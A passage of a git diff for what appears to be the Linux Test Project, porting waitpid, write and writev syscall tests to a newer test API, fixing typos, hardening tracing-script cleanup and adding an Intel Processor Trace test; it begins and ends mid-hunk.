-				if (npid != pid) {
-					tst_resm(TFAIL, "waitpid error: "
-						 "unexpected pid returned");
-				} else {
-					tst_resm(TPASS,
-						 "recieved expected pid");
-				}
-
-				nsig = WTERMSIG(status);
-
-				/*
-				 * nsig is the signal number returned by
-				 * waitpid
-				 */
-				if (nsig != sig) {
-					tst_resm(TFAIL, "waitpid error: "
-						 "unexpected signal "
-						 "returned");
-				} else {
-					tst_resm(TPASS, "recieved expected "
-						 "signal");
-				}
-
-				/*
-				 * nexno is the exit number returned by
-				 * waitpid
-				 */
-				nexno = WEXITSTATUS(status);
-				if (nexno != 0) {
-					tst_resm(TFAIL, "signal error: "
-						 "unexpected exit number "
-						 "returned");
-				}
-			}
-		}
+	pid = SAFE_FORK();
+	if (!pid) {
+		raise(SIGALRM);
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	rpid = waitpid(pid, &status, 0);
+	if (rpid < 0)
+		tst_brk(TBROK | TERRNO, "waitpid() failed");
+
+	if (rpid != pid) {
+		tst_res(TFAIL, "waitpid() returned wrong pid %i, expected %i",
+		        rpid, pid);
+	} else {
+		tst_res(TPASS, "waitpid() returned correct pid %i", pid);
+	}
+
+	if (!WIFSIGNALED(status)) {
+		tst_res(TFAIL, "WIFSIGNALED() not set in status (%s)",
+		        tst_strstatus(status));
+		return;
+	}
+
+	tst_res(TPASS, "WIFSIGNALED() set in status");
+
+	if (WTERMSIG(status) != SIGALRM) {
+		tst_res(TFAIL, "WTERMSIG() != SIGALRM but %s",
+		        tst_strsig(WTERMSIG(status)));
+		return;
+	}
+
+	tst_res(TPASS, "WTERMSIG() == SIGALRM");
 }
 
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid02.c b/testcases/kernel/syscalls/waitpid/waitpid02.c
index e4aa23d..1164a78 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid02.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid02.c
@@ -107,7 +107,7 @@
 						 "unexpected pid returned");
 				} else {
 					tst_resm(TPASS,
-						 "recieved expected pid");
+						 "received expected pid");
 				}
 
 				nsig = WTERMSIG(status);
@@ -120,7 +120,7 @@
 					tst_resm(TFAIL, "waitpid error: "
 						 "unexpected signal returned");
 				} else {
-					tst_resm(TPASS, "recieved expected "
+					tst_resm(TPASS, "received expected "
 						 "signal");
 				}
 
@@ -134,7 +134,7 @@
 						 "unexpected exit number "
 						 "returned");
 				} else {
-					tst_resm(TPASS, "recieved expected "
+					tst_resm(TPASS, "received expected "
 						 "exit value");
 				}
 			}
diff --git a/testcases/kernel/syscalls/write/.gitignore b/testcases/kernel/syscalls/write/.gitignore
new file mode 100644
index 0000000..7f36194
--- /dev/null
+++ b/testcases/kernel/syscalls/write/.gitignore
@@ -0,0 +1,5 @@
+/write01
+/write02
+/write03
+/write04
+/write05
diff --git a/testcases/kernel/syscalls/write/write01.c b/testcases/kernel/syscalls/write/write01.c
index c6c8fa8..592920b 100644
--- a/testcases/kernel/syscalls/write/write01.c
+++ b/testcases/kernel/syscalls/write/write01.c
@@ -40,15 +40,15 @@
 
 	for (i = BUFSIZ; i > 0; i--) {
 		TEST(write(fd, buf, i));
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TTERRNO, "write failed");
 			return;
 		}
 
-		if (TEST_RETURN != i) {
+		if (TST_RET != i) {
 			badcount++;
 			tst_res(TINFO, "write() returned %ld, expected %d",
-				TEST_RETURN, i);
+				TST_RET, i);
 		}
 	}
 
diff --git a/testcases/kernel/syscalls/write/write02.c b/testcases/kernel/syscalls/write/write02.c
new file mode 100644
index 0000000..34b9ae0
--- /dev/null
+++ b/testcases/kernel/syscalls/write/write02.c
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2017 Carlo Marcelo Arenas Belon <carlo@gmail.com>
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Tests for a special case NULL buffer with size 0 is expected to return 0.
+ */
+
+#include <errno.h>
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_write(void)
+{
+	TEST(write(fd, NULL, 0));
+
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO,
+			"write() should have succeeded with ret=0");
+		return;
+	}
+
+	tst_res(TPASS, "write(fd, NULL, 0) == 0");
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("test_file", O_RDWR | O_CREAT, 0700);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_write,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/write/write04.c b/testcases/kernel/syscalls/write/write04.c
index d6a5146..4ca8eca 100644
--- a/testcases/kernel/syscalls/write/write04.c
+++ b/testcases/kernel/syscalls/write/write04.c
@@ -18,31 +18,12 @@
  */
 
 /*
- * NAME
- *	write04.c
- *
  * DESCRIPTION
  *	Testcase to check that write() sets errno to EAGAIN
  *
  * ALGORITHM
  *	Create a named pipe (fifo), open it in O_NONBLOCK mode, and
  *	attempt to write to it when it is full, write(2) should fail
- *	with EAGAIN.
- *
- * USAGE:  <for command-line>
- *      write04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
- *
- * HISTORY
- *      ??/???? someone made this testcase but didn't add HISTORY
- *
- * RESTRICTIONS
- *	NONE
  */
 
 #include <sys/stat.h>
@@ -51,189 +32,61 @@
 #include <setjmp.h>
 #include <errno.h>
 #include <string.h>
-#include "test.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-#define PIPE_SIZE_TEST getpagesize()
+static char fifo[100];
+static int rfd, wfd;
+static long page_size;
 
-void alarm_handler();
-void setup();
-void cleanup();
-
-char *TCID = "write04";
-int TST_TOTAL = 1;
-
-char fifo[100] = "fifo";
-static sigjmp_buf jmp;
-int rfd, wfd;
-
-int main(int argc, char **argv)
+static void verify_write(void)
 {
-	int lc;
+	char wbuf[8 * page_size];
 
-	struct stat buf;
-	int fail;
-	int cnt;
-	char wbuf[17 * PIPE_SIZE_TEST];
-	struct sigaction sigptr;	/* set up signal handler */
+	TEST(write(wfd, wbuf, sizeof(wbuf)));
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	/* global setup */
-	setup();
-
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		if (mknod(fifo, S_IFIFO | 0777, 0) < 0) {
-			tst_resm(TBROK, "mknod() failed, errno: %d", errno);
-			cleanup();
-		}
-		if (stat(fifo, &buf) != 0) {
-			tst_resm(TBROK, "stat() failed, errno: %d", errno);
-			cleanup();
-		}
-		if ((buf.st_mode & S_IFIFO) == 0) {
-			tst_resm(TBROK, "Mode does not indicate fifo file");
-			cleanup();
-		}
-#if 0
-		sigset(SIGALRM, alarm_handler);
-#endif
-		sigptr.sa_handler = (void (*)(int signal))alarm_handler;
-		sigfillset(&sigptr.sa_mask);
-		sigptr.sa_flags = 0;
-		sigaddset(&sigptr.sa_mask, SIGALRM);
-		if (sigaction(SIGALRM, &sigptr, NULL) == -1) {
-			tst_resm(TBROK, "sigaction(): Failed");
-			cleanup();
-		}
-//block1:
-		tst_resm(TINFO, "Enter block 1: test for EAGAIN in write()");
-		fail = 0;
-
-		(void)memset((void *)wbuf, 'A', 17 * PIPE_SIZE_TEST);
-
-		/*
-		 * open the read end of the pipe
-		 */
-		if (sigsetjmp(jmp, 1)) {
-			tst_resm(TBROK, "Error reading fifo, read blocked");
-			fail = 1;
-		}
-		(void)alarm(10);	/* set alarm for 10 seconds */
-		rfd = open(fifo, O_RDONLY | O_NONBLOCK);
-		(void)alarm(0);
-		if (rfd < 0) {
-			tst_resm(TBROK, "open() for reading the pipe failed");
-			fail = 1;
-		}
-
-		/*
-		 * open the write end of the pipe
-		 */
-		if (sigsetjmp(jmp, 1)) {
-			tst_resm(TBROK, "setjmp() failed");
-			cleanup();
-		}
-		(void)alarm(10);	/* set alarm for 10 seconds */
-		wfd = open(fifo, O_WRONLY | O_NONBLOCK);
-		(void)alarm(0);
-		if (wfd < 0) {
-			tst_resm(TBROK, "open() for writing the pipe failed");
-			fail = 1;
-		}
-
-		/*
-		 * attempt to fill the pipe with some data
-		 */
-		if (sigsetjmp(jmp, 1)) {
-			tst_resm(TBROK, "sigsetjmp() failed");
-			fail = 1;
-		}
-		(void)alarm(10);
-		cnt = write(wfd, wbuf, 17 * PIPE_SIZE_TEST);
-		(void)alarm(0);
-		if (cnt == 17 * PIPE_SIZE_TEST) {
-			tst_resm(TBROK, "Error reading fifo, nozero read");
-			fail = 1;
-		}
-
-		/*
-		 * Now that the fifo is full try and send some more
-		 */
-		if (sigsetjmp(jmp, 1)) {
-			tst_resm(TBROK, "sigsetjmp() failed");
-			fail = 1;
-		}
-		(void)alarm(10);
-		cnt = write(wfd, wbuf, 8 * PIPE_SIZE_TEST);
-		(void)alarm(0);
-		if (cnt != -1) {
-			tst_resm(TBROK, "write() failed to fail when pipe "
-				 "is full");
-			fail = 1;
-		} else {
-			if (errno != EAGAIN) {
-				tst_resm(TBROK, "write set bad errno, expected "
-					 "EAGAIN, got %d", errno);
-				fail = 1;
-			}
-			tst_resm(TINFO, "read() succeded in setting errno to "
-				 "EAGAIN");
-		}
-		if (fail) {
-			tst_resm(TFAIL, "Block 1 FAILED");
-		} else {
-			tst_resm(TPASS, "Block 1 PASSED");
-		}
-		tst_resm(TINFO, "Exit block 1");
-
-		/* unlink fifo in case we are looping. */
-		unlink(fifo);
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "write() succeeded unexpectedly");
+		return;
 	}
-	cleanup();
-	tst_exit();
+
+	if (TST_ERR != EAGAIN) {
+		tst_res(TFAIL | TTERRNO,
+			"write() failed unexpectedly, expected EAGAIN");
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "write() failed expectedly");
 }
 
-void alarm_handler(void)
+static void setup(void)
 {
-	siglongjmp(jmp, 1);
-}
+	page_size = getpagesize();
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
+	char wbuf[17 * page_size];
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	/* create a temporary filename */
 	sprintf(fifo, "%s.%d", fifo, getpid());
 
+	SAFE_MKNOD(fifo, S_IFIFO | 0777, 0);
+
+	rfd = SAFE_OPEN(fifo, O_RDONLY | O_NONBLOCK);
+	wfd = SAFE_OPEN(fifo, O_WRONLY | O_NONBLOCK);
+
+	SAFE_WRITE(0, wfd, wbuf, sizeof(wbuf));
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
+	if (rfd > 0)
+		SAFE_CLOSE(rfd);
 
-	close(rfd);
-	close(wfd);
-	unlink(fifo);
-	tst_rmdir();
-
+	if (wfd > 0)
+		SAFE_CLOSE(wfd);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_write,
+};
diff --git a/testcases/kernel/syscalls/write/write05.c b/testcases/kernel/syscalls/write/write05.c
index bcbe858..023b04a 100644
--- a/testcases/kernel/syscalls/write/write05.c
+++ b/testcases/kernel/syscalls/write/write05.c
@@ -1,6 +1,9 @@
 /*
  *
  *   Copyright (c) International Business Machines  Corp., 2001
+ *	07/2001 Ported by John George
+ *      04/2002 wjhuie sigset cleanups
+ *      08/2007 Ricardo Salveti de Araujo <rsalveti@linux.vnet.ibm.com>
  *
  *   This program is free software;  you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -18,199 +21,101 @@
  */
 
 /*
- * NAME
- *	write05.c
- *
  * DESCRIPTION
  *	Check the return value, and errnos of write(2)
  *	- when the file descriptor is invalid - EBADF
  *	- when the buf parameter is invalid - EFAULT
  *	- on an attempt to write to a pipe that is not open for reading - EPIPE
- *
- * ALGORITHM
- *	Attempt to write on a file with negative file descriptor, check for -1
- *	Attempt to write on a file with invalid buffer, check for -1
- *	Open a pipe and close the read end, attempt to write to the write
- *	end, check for -1.
- *
- * USAGE:  <for command-line>
- *      write05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *      04/2002 wjhuie sigset cleanups
- *      08/2007 Ricardo Salveti de Araujo <rsalveti@linux.vnet.ibm.com>
- *		- Closing the fd before removing the file
- *
- * Restrictions
- *	None
  */
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <sys/wait.h>
 #include <sys/mman.h>
-#include "test.h"
+#include "tst_test.h"
 
-void setup(void);
-void cleanup(void);
+static int fd;
+static int inv_fd = -1;
+static char b[32];
+static char *buf = b;
+static char *bad_addr;
+static int pipefd[2];
 
-char *TCID = "write05";
-int TST_TOTAL = 1;
-char filename[100];
-int fd;
+static struct tcase {
+	int *fd;
+	char **buf;
+	size_t size;
+	int exp_errno;
+} tcases[] = {
+	{&inv_fd, &buf, sizeof(buf), EBADF},
+	{&fd, &bad_addr, sizeof(buf), EFAULT},
+	{&pipefd[1], &buf, sizeof(buf), EPIPE},
+};
 
-char *bad_addr = 0;
+static int sigpipe_cnt;
 
-int main(int argc, char **argv)
+static void sighandler(int sig)
 {
-	int lc;
-
-	char pbuf[BUFSIZ];
-	int pipefildes[2];
-	int status, pid;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	/* global setup */
-	setup();
-
-	/* The following loop checks looping state if -i option given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-//block1:
-		tst_resm(TINFO, "Enter Block 1: test with bad fd");
-		if (write(-1, pbuf, 1) != -1) {
-			tst_resm(TFAIL, "write of invalid fd passed");
-		} else {
-			if (errno != EBADF) {
-				tst_resm(TFAIL, "expected EBADF got %d", errno);
-			}
-			tst_resm(TPASS, "received EBADF as expected.");
-		}
-		tst_resm(TINFO, "Exit Block 1");
-
-//block2:
-		tst_resm(TINFO, "Enter Block 2: test with a bad address");
-		fd = creat(filename, 0644);
-		if (fd < 0) {
-			tst_resm(TFAIL, "creating a new file failed");
-			cleanup();
-		}
-		if (write(fd, bad_addr, 10) != -1) {
-			tst_resm(TFAIL, "write() on an invalid buffer "
-				 "succeeded, but should have failed");
-			cleanup();
-		} else {
-			if (errno != EFAULT) {
-				tst_resm(TFAIL, "write() returned illegal "
-					 "errno: expected EFAULT, got %d",
-					 errno);
-				cleanup();
-			}
-			tst_resm(TPASS, "received EFAULT as expected.");
-		}
-		tst_resm(TINFO, "Exit Block 2");
-
-//block3:
-		tst_resm(TINFO, "Enter Block 3: test with invalid pipe");
-		if ((pid = FORK_OR_VFORK()) == 0) {	/* child */
-			if (signal(SIGPIPE, SIG_IGN) == SIG_ERR) {
-				tst_resm(TINFO, "signal failed");
-			}
-			if (pipe(pipefildes) == -1) {
-				tst_brkm(TBROK, NULL, "can't open pipe");
-				exit(errno);
-			}
-			close(pipefildes[0]);
-			if (write(pipefildes[1], pbuf, 1) != -1) {
-				tst_resm(TFAIL, "write on read-closed"
-					 "pipe succeeded");
-				exit(-1);
-			} else {
-				if (errno != EPIPE) {
-					tst_resm(TFAIL, "write() failed to set"
-						 " errno to EPIPE, got: %d",
-						 errno);
-					exit(errno);
-				}
-				exit(0);
-			}
-		} else {
-			if (pid < 0) {
-				tst_resm(TFAIL, "Fork failed");
-			}
-			wait(&status);
-			if (WIFSIGNALED(status) &&
-				WTERMSIG(status) == SIGPIPE) {
-				tst_resm(TFAIL, "child set SIGPIPE in exit");
-			} else if (WEXITSTATUS(status) != 0) {
-				tst_resm(TFAIL, "exit status from child "
-					 "expected 0 got %d", status >> 8);
-			} else {
-				tst_resm(TPASS, "received EPIPE as expected.");
-			}
-			tst_resm(TINFO, "Exit Block 3");
-		}
-		close(fd);
-	}
-	cleanup();
-	tst_exit();
+	if (sig == SIGPIPE)
+		sigpipe_cnt++;
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void verify_write(unsigned int i)
 {
+	struct tcase *tc = &tcases[i];
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	sigpipe_cnt = 0;
 
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
+	TEST(write(*tc->fd, *tc->buf, tc->size));
 
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	sprintf(filename, "write05.%d", getpid());
-
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		printf("mmap failed\n");
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "write() succeeded unexpectedly");
+		return;
 	}
 
+	if (TST_ERR != tc->exp_errno) {
+		tst_res(TFAIL | TTERRNO,
+			"write() failed unexpectedly, expected %s",
+			tst_strerrno(tc->exp_errno));
+		return;
+	}
+
+	if (tc->exp_errno == EPIPE && sigpipe_cnt != 1) {
+		tst_res(TFAIL, "sigpipe_cnt = %i", sigpipe_cnt);
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "write() failed expectedly");
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
+static void setup(void)
 {
+	fd = SAFE_OPEN("write_test", O_RDWR | O_CREAT, 0644);
 
-	/* Close the file descriptor befor removing the file */
-	close(fd);
+	bad_addr = SAFE_MMAP(0, 1, PROT_NONE,
+			MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
 
-	unlink(filename);
-	tst_rmdir();
+	SAFE_PIPE(pipefd);
+	SAFE_CLOSE(pipefd[0]);
 
+	SAFE_SIGNAL(SIGPIPE, sighandler);
 }
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+
+	SAFE_MUNMAP(bad_addr, 1);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_write,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/writev/.gitignore b/testcases/kernel/syscalls/writev/.gitignore
new file mode 100644
index 0000000..d60da0f
--- /dev/null
+++ b/testcases/kernel/syscalls/writev/.gitignore
@@ -0,0 +1,5 @@
+/writev01
+/writev02
+/writev05
+/writev06
+/writev07
diff --git a/testcases/kernel/syscalls/writev/writev01.c b/testcases/kernel/syscalls/writev/writev01.c
index 7753db4..539b529 100644
--- a/testcases/kernel/syscalls/writev/writev01.c
+++ b/testcases/kernel/syscalls/writev/writev01.c
@@ -130,17 +130,17 @@
 
 	TEST(writev(*(tcase->pfd), *(tcase->piovec), tcase->iovcnt));
 
-	ret = (TEST_RETURN == tcase->exp_ret);
-	if (TEST_RETURN < 0 || tcase->exp_ret < 0) {
-		ret &= (TEST_ERRNO == tcase->exp_errno);
+	ret = (TST_RET == tcase->exp_ret);
+	if (TST_RET < 0 || tcase->exp_ret < 0) {
+		ret &= (TST_ERR == tcase->exp_errno);
 		tst_res((ret ? TPASS : TFAIL),
 			"%s, expected: %d (%s), got: %ld (%s)", tcase->desc,
 			tcase->exp_ret, tst_strerrno(tcase->exp_errno),
-			TEST_RETURN, tst_strerrno(TEST_ERRNO));
+			TST_RET, tst_strerrno(TST_ERR));
 	} else {
 		tst_res((ret ? TPASS : TFAIL),
 			"%s, expected: %d, got: %ld", tcase->desc,
-			tcase->exp_ret, TEST_RETURN);
+			tcase->exp_ret, TST_RET);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/writev/writev07.c b/testcases/kernel/syscalls/writev/writev07.c
index 7322189..ec883ed 100644
--- a/testcases/kernel/syscalls/writev/writev07.c
+++ b/testcases/kernel/syscalls/writev/writev07.c
@@ -71,14 +71,14 @@
 	off_after = (long) SAFE_LSEEK(fd, 0, SEEK_CUR);
 
 	/* bad errno */
-	if (TEST_RETURN == -1 && TEST_ERRNO != EFAULT) {
+	if (TST_RET == -1 && TST_ERR != EFAULT) {
 		tst_res(TFAIL | TTERRNO, "unexpected errno");
 		SAFE_CLOSE(fd);
 		return;
 	}
 
 	/* nothing has been written */
-	if (TEST_RETURN == -1 && TEST_ERRNO == EFAULT) {
+	if (TST_RET == -1 && TST_ERR == EFAULT) {
 		tst_res(TINFO, "got EFAULT");
 		/* initial file content remains untouched */
 		SAFE_LSEEK(fd, 0, SEEK_SET);
@@ -100,8 +100,8 @@
 	}
 
 	/* writev() wrote more bytes than bytes preceding invalid iovec */
-	tst_res(TINFO, "writev() has written %ld bytes", TEST_RETURN);
-	if (TEST_RETURN > (long) wr_iovec[0].iov_len) {
+	tst_res(TINFO, "writev() has written %ld bytes", TST_RET);
+	if (TST_RET > (long) wr_iovec[0].iov_len) {
 		tst_res(TFAIL, "writev wrote more than expected");
 		SAFE_CLOSE(fd);
 		return;
@@ -109,19 +109,19 @@
 
 	/* file content matches written bytes */
 	SAFE_LSEEK(fd, initial_file_offset, SEEK_SET);
-	SAFE_READ(1, fd, tmp, TEST_RETURN);
-	if (memcmp(tmp, wr_iovec[0].iov_base, TEST_RETURN) == 0) {
+	SAFE_READ(1, fd, tmp, TST_RET);
+	if (memcmp(tmp, wr_iovec[0].iov_base, TST_RET) == 0) {
 		tst_res(TPASS, "file has expected content");
 	} else {
 		tst_res(TFAIL, "file has unexpected content");
-		tst_res_hexd(TFAIL, wr_iovec[0].iov_base, TEST_RETURN,
+		tst_res_hexd(TFAIL, wr_iovec[0].iov_base, TST_RET,
 				"expected:");
-		tst_res_hexd(TFAIL, tmp, TEST_RETURN,
+		tst_res_hexd(TFAIL, tmp, TST_RET,
 				"actual file content:");
 	}
 
 	/* file offset has been updated according to written bytes */
-	if (off_after == initial_file_offset + TEST_RETURN)
+	if (off_after == initial_file_offset + TST_RET)
 		tst_res(TPASS, "offset at %ld as expected", off_after);
 	else
 		tst_res(TFAIL, "offset unexpected %ld", off_after);
diff --git a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
index ec58c69..4cd43ba 100755
--- a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
+++ b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
@@ -153,7 +153,9 @@
 
 cleanup()
 {
-	FLAGS_SET=$(awk -v emp="$EMPTY_FLAG" '$3 != emp' $DYNDEBUG_STATEMENTS)
+	if [ -e "$DYNDEBUG_STATEMENTS" ]; then
+		FLAGS_SET=$(awk -v emp="$EMPTY_FLAG" '$3 != emp' $DYNDEBUG_STATEMENTS)
+	fi
 	if [ "$FLAGS_SET" ] ; then
 		FLAG_PREFIX=$([ $NEW_INTERFACE -eq 1 ] && echo "" || echo "+")
 		/bin/echo "$FLAGS_SET" | while read -r FLAG_LINE ; do
@@ -163,7 +165,7 @@
 				> "$DEBUGFS_CONTROL"
 		done
 	fi
-	if [ $DEBUGFS_WAS_MOUNTED -eq 0 ] ; then
+	if [ $DEBUGFS_WAS_MOUNTED -eq 0 -a -n "$DEBUGFS_PATH" ] ; then
 		tst_umount "$DEBUGFS_PATH"
 	fi
 }
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
index 20cf5e7..d9a206b 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
@@ -100,7 +100,9 @@
 
 	echo nop > current_tracer
 	echo 0 > events/enable
-	echo 0 > tracing_max_latency 2> /dev/null
+	if [ -e tracing_max_latency ]; then
+		echo 0 > tracing_max_latency
+	fi
 
 	if [ -e tracing_cpumask ]; then
 		echo $old_tracing_cpumask > tracing_cpumask
diff --git a/testcases/kernel/tracing/pt_test/.gitignore b/testcases/kernel/tracing/pt_test/.gitignore
new file mode 100644
index 0000000..96efc14
--- /dev/null
+++ b/testcases/kernel/tracing/pt_test/.gitignore
@@ -0,0 +1 @@
+/pt_test
diff --git a/testcases/kernel/tracing/pt_test/Makefile b/testcases/kernel/tracing/pt_test/Makefile
new file mode 100644
index 0000000..5ea7d67
--- /dev/null
+++ b/testcases/kernel/tracing/pt_test/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/tracing/pt_test/pt_test.c b/testcases/kernel/tracing/pt_test/pt_test.c
new file mode 100644
index 0000000..5feb1aa
--- /dev/null
+++ b/testcases/kernel/tracing/pt_test/pt_test.c
@@ -0,0 +1,167 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/*
+ * Copyright (C) 2018 Intel Corporation
+ * Author: Ammy Yi (ammy.yi@intel.com)
+ */
+
+/*
+ * This test will check if Intel PT(Intel Processer Trace) full trace mode is
+ * working.
+ *
+ * Intel CPU of 5th-generation Core (Broadwell) or newer is required for the test.
+ *
+ * kconfig requirement: CONFIG_PERF_EVENTS
+ */
+
+#include <sched.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "config.h"
+
+#ifdef HAVE_STRUCT_PERF_EVENT_MMAP_PAGE_AUX_HEAD
+# include <linux/perf_event.h>
+
+#define PAGESIZE 4096
+#define INTEL_PT_MEMSIZE (17*PAGESIZE)
+
+#define BIT(nr)                 (1UL << (nr))
+
+#define INTEL_PT_PATH "/sys/devices/intel_pt"
+#define INTEL_PT_PMU_TYPE "/sys/devices/intel_pt/type"
+#define INTEL_PT_FORMAT_TSC "/sys/devices/intel_pt/format/tsc"
+#define INTEL_PT_FORMAT_NRT "/sys/devices/intel_pt/format/noretcomp"
+
+//Intel PT event handle
+int fde = -1;
+//map head and size
+uint64_t **bufm;
+long buhsz;
+
+static uint64_t **create_map(int fde, long bufsize)
+{
+	uint64_t **buf_ev;
+	struct perf_event_mmap_page *pc;
+
+	buf_ev = SAFE_MALLOC(2*sizeof(uint64_t *));
+	buf_ev[0] = NULL;
+	buf_ev[1] = NULL;
+	buf_ev[0] = SAFE_MMAP(NULL, INTEL_PT_MEMSIZE, PROT_READ | PROT_WRITE,
+							MAP_SHARED, fde, 0);
+
+	pc = (struct perf_event_mmap_page *)buf_ev[0];
+	pc->aux_offset = INTEL_PT_MEMSIZE;
+	pc->aux_size = bufsize;
+	buf_ev[1] = SAFE_MMAP(NULL, bufsize, PROT_READ | PROT_WRITE,
+					MAP_SHARED, fde, INTEL_PT_MEMSIZE);
+	return buf_ev;
+}
+
+
+int intel_pt_pmu_value(char *dir)
+{
+	char *value;
+	int val = 0;
+	char delims[] = ":";
+
+	SAFE_FILE_SCANF(dir, "%m[^\n]", &value);
+	if (strstr(value, delims) == NULL) {
+		val = atoi(value);
+	} else {
+		strsep(&value, delims);
+		val = atoi(value);
+	}
+	return val;
+}
+
+static void del_map(uint64_t **buf_ev, long bufsize)
+{
+	if (buf_ev) {
+		if (buf_ev[0])
+			munmap(buf_ev[0], INTEL_PT_MEMSIZE);
+		if (buf_ev[1])
+			munmap(buf_ev[1], bufsize);
+	}
+
+	free(buf_ev);
+}
+
+static void intel_pt_full_trace_check(void)
+{
+	uint64_t aux_head = 0;
+	struct perf_event_mmap_page *pmp;
+	/* enable tracing */
+	SAFE_IOCTL(fde, PERF_EVENT_IOC_RESET);
+	SAFE_IOCTL(fde, PERF_EVENT_IOC_ENABLE);
+
+	/* stop tracing */
+	SAFE_IOCTL(fde, PERF_EVENT_IOC_DISABLE);
+
+	/* check if there is some trace generated */
+	pmp = (struct perf_event_mmap_page *)bufm[0];
+	aux_head = *(volatile uint64_t *)&pmp->aux_head;
+	if (aux_head == 0) {
+		tst_res(TFAIL, "There is no trace!");
+		return;
+	}
+
+	tst_res(TPASS, "perf trace full mode is passed!");
+}
+
+static void setup(void)
+{
+	struct perf_event_attr attr = {};
+
